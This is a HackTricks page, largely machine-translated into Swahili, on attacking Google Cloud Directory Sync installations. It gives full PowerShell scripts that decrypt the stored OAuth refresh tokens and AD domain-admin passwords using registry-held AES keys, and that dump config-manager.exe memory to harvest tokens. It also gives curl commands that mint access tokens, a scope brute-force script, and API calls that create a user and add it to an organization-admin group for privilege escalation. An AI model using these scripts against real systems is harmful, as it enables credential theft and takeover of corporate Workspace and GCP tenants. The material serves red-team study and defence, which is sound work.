GCDS - Google Cloud Directory Sync
Reading time: 9 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Hii ni zana ambayo inaweza kutumika ku sawazisha watumiaji na vikundi vya active directory kwenye Workspace yako (na si kinyume chake wakati wa kuandika hii).
Ni ya kuvutia kwa sababu ni zana ambayo itahitaji vithibitisho vya superuser wa Workspace na mtumiaji wa AD mwenye mamlaka. Hivyo, inaweza kuwa inawezekana kuipata ndani ya seva ya domain ambayo itakuwa ikisawazisha watumiaji mara kwa mara.
note
Ili kufanya MitM kwa config-manager.exe
binary ongeza tu mstari ufuatao katika faili la config.manager.vmoptions
: -Dcom.sun.net.ssl.checkRevocation=false
tip
Kumbuka kwamba Winpeas ina uwezo wa kugundua GCDS, kupata taarifa kuhusu usanidi na hata nywila na vithibitisho vilivyofichwa.
Pia kumbuka kwamba GCDS haitasawazisha nywila kutoka AD hadi Workspace. Ikiwa kuna kitu, itazalisha nywila za nasibu kwa watumiaji wapya walioundwa katika Workspace kama unavyoona katika picha ifuatayo:

GCDS - Disk Tokens & AD Credentials
Binary config-manager.exe
(binary kuu ya GCDS yenye GUI) itahifadhi vithibitisho vilivyowekwa vya Active Directory, token ya kusasisha na ufikiaji kwa default katika xml file katika folda C:\Program Files\Google Cloud Directory Sync
katika faili inayoitwa Untitled-1.xml
kwa default. Ingawa pia inaweza kuhifadhiwa katika Documents
za mtumiaji au katika folda nyingine yoyote.
Zaidi ya hayo, rejista HKCU\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\ui
ndani ya ufunguo open.recent
ina njia za faili zote za usanidi zilizofunguliwa hivi karibuni (xmls). Hivyo inawezekana kuangalia ili kuzipata.
Taarifa ya kuvutia zaidi ndani ya faili itakuwa:
[...]
<loginMethod>OAUTH2</loginMethod>
<oAuth2RefreshToken>rKvvNQxi74JZGI74u68aC6o+3Nu1ZgVUYdD1GyoWyiHHxtWx+lbx3Nk8dU27fts5lCJKH/Gp1q8S6kEM2AvjQZN16MkGTU+L2Yd0kZsIJWeO0K0RdVaK2D9Saqchk347kDgGsQulJnuxU+Puo46+aA==</oAuth2RefreshToken>
<oAuth2Scopes>
<scope>https://www.google.com/m8/feeds/</scope>
<scope>https://www.googleapis.com/auth/admin.directory.group</scope>
<scope>https://www.googleapis.com/auth/admin.directory.orgunit</scope>
<scope>https://www.googleapis.com/auth/admin.directory.resource.calendar</scope>
<scope>https://www.googleapis.com/auth/admin.directory.user</scope>
<scope>https://www.googleapis.com/auth/admin.directory.userschema</scope>
<scope>https://www.googleapis.com/auth/apps.groups.settings</scope>
<scope>https://www.googleapis.com/auth/apps.licensing</scope>
<scope>https://www.googleapis.com/auth/plus.me</scope>
</oAuth2Scopes>
[...]
<hostname>192.168.10.23</hostname>
<port>389</port>
<basedn>dc=hacktricks,dc=local</basedn>
<authType>SIMPLE</authType>
<authUser>DOMAIN\domain-admin</authUser>
<authCredentialsEncrypted>XMmsPMGxz7nkpChpC7h2ag==</authCredentialsEncrypted>
[...]
Note how the refresh token and the password of the user are encrypted using AES CBC with a randomly generated key and IV stored in HKEY_CURRENT_USER\SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util
(ambapo prefs
Java library inahifadhi mapendeleo) katika funguo za string /Encryption/Policy/V2.iv
na /Encryption/Policy/V2.key
zilizohifadhiwa katika base64.
Powershell script to decrypt the refresh token and the password
# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"
# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
}
# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()
# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)
# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw
# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value
$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value
# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)
# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes
$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()
$cryptoStream.Close()
$memoryStream.Close()
return $plaintextBytes
}
# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)
$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)
# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"
note
Kumbuka kwamba inawezekana kuangalia taarifa hii kwa kuangalia msimbo wa java wa DirSync.jar
kutoka C:\Program Files\Google Cloud Directory Sync
ukitafuta mfuatano exportkeys
(kama hiyo ndiyo param ya cli ambayo binary upgrade-config.exe
inatarajia kutupa funguo).
Badala ya kutumia skripti ya powershell, pia inawezekana kutumia binary :\Program Files\Google Cloud Directory Sync\upgrade-config.exe
na param -exportKeys
na kupata Key na IV kutoka kwenye rejista kwa hex na kisha tumia cyberchef na AES/CBC na funguo hiyo na IV ili kufichua taarifa.
GCDS - Kutupa tokeni kutoka kwenye kumbukumbu
Kama ilivyo kwa GCPW, inawezekana kutupa kumbukumbu ya mchakato wa config-manager.exe
(hii ndiyo jina la binary kuu la GCDS lenye GUI) na utaweza kupata tokeni za refresha na ufikiaji (ikiwa tayari zimeundwa).
Nadhani unaweza pia kupata akidi zilizowekwa za AD.
Dump config-manager.exe processes and search tokens
# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"
# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)
# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}
# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id
# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}
# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"
Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile
$outputFiles = @($asciiStringsFile, $unicodeStringsFile)
foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {
$matches = Select-String -Path $file -Pattern $regex -AllMatches
$uniqueMatches = @{}
foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText = $matchInfo.Line.Trim()
FilePath = $matchInfo.Path
}
}
}
}
foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}
Write-Output ""
}
}
Remove-Item -Path $dumpFolder -Recurse -Force
GCDS - Kutengeneza alama za ufikiaji kutoka kwa alama za upya
Kwa kutumia alama ya upya, inawezekana kutengeneza alama za ufikiaji kwa kutumia hiyo na kitambulisho cha mteja na siri ya mteja zilizoainishwa katika amri ifuatayo:
curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03gQU44mwVnU4CDHYE736TGMSNwF-L9IrTuikNFVZQ3sBxshrJaki7QvpHZQMeANHrF0eIPebz0dz0S987354AuSdX38LySlWflI" \
https://www.googleapis.com/oauth2/v4/token
GCDS - Scopes
note
Kumbuka kwamba hata ukiwa na token ya kusasisha, siwezi kuomba scope yoyote kwa token ya ufikiaji kwani unaweza tu kuomba scopes zinazoungwa mkono na programu ambapo unaunda token ya ufikiaji.
Pia, token ya kusasisha si halali katika kila programu.
Kwa default GCSD haitakuwa na ufikiaji kama mtumiaji kwa kila scope ya OAuth inay posible, hivyo kutumia script ifuatayo tunaweza kupata scopes ambazo zinaweza kutumika na refresh_token
kuunda access_token
:
Bash script to brute-force scopes
curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done
echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt
Na hii ndiyo matokeo niliyopata wakati wa kuandika:
https://www.googleapis.com/auth/admin.directory.group
https://www.googleapis.com/auth/admin.directory.orgunit
https://www.googleapis.com/auth/admin.directory.resource.calendar
https://www.googleapis.com/auth/admin.directory.user
https://www.googleapis.com/auth/admin.directory.userschema
https://www.googleapis.com/auth/apps.groups.settings
https://www.googleapis.com/auth/apps.licensing
https://www.googleapis.com/auth/contacts
Unda mtumiaji na umuweke kwenye kundi gcp-organization-admins
ili kujaribu kupandisha hadhi katika GCP
# Create new user
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/users' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"primaryEmail": "deleteme@domain.com",
"name": {
"givenName": "Delete",
"familyName": "Me"
},
"password": "P4ssw0rdStr0ng!",
"changePasswordAtNextLogin": false
}'
# Add to group
curl -X POST \
'https://admin.googleapis.com/admin/directory/v1/groups/gcp-organization-admins@domain.com/members' \
-H 'Authorization: Bearer <ACCESS_TOKEN>' \
-H 'Content-Type: application/json' \
-d '{
"email": "deleteme@domain.com",
"role": "OWNER"
}'
# You could also change the password of a user for example
caution
Haiwezekani kumpa mtumiaji mpya jukumu la Super Amin kwa sababu token ya kusasisha haina maeneo ya kutosha kutoa mamlaka yanayohitajika.
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.